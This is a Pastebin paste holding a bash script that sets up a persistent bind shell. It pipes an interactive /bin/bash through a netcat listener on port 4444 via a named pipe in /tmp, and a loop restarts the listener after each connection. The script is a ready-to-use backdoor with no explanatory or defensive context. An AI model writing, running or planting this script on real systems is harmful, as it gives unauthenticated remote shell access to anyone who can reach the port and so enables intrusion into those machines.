Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- PORT=4444
- echo "Starting bind shell on port $PORT..."
- while true; do
- rm -f /tmp/fifo
- mkfifo /tmp/fifo
- cat /tmp/fifo | /bin/bash -i 2>&1 | nc -lvnp $PORT > /tmp/fifo
- sleep 5
- done
Advertisement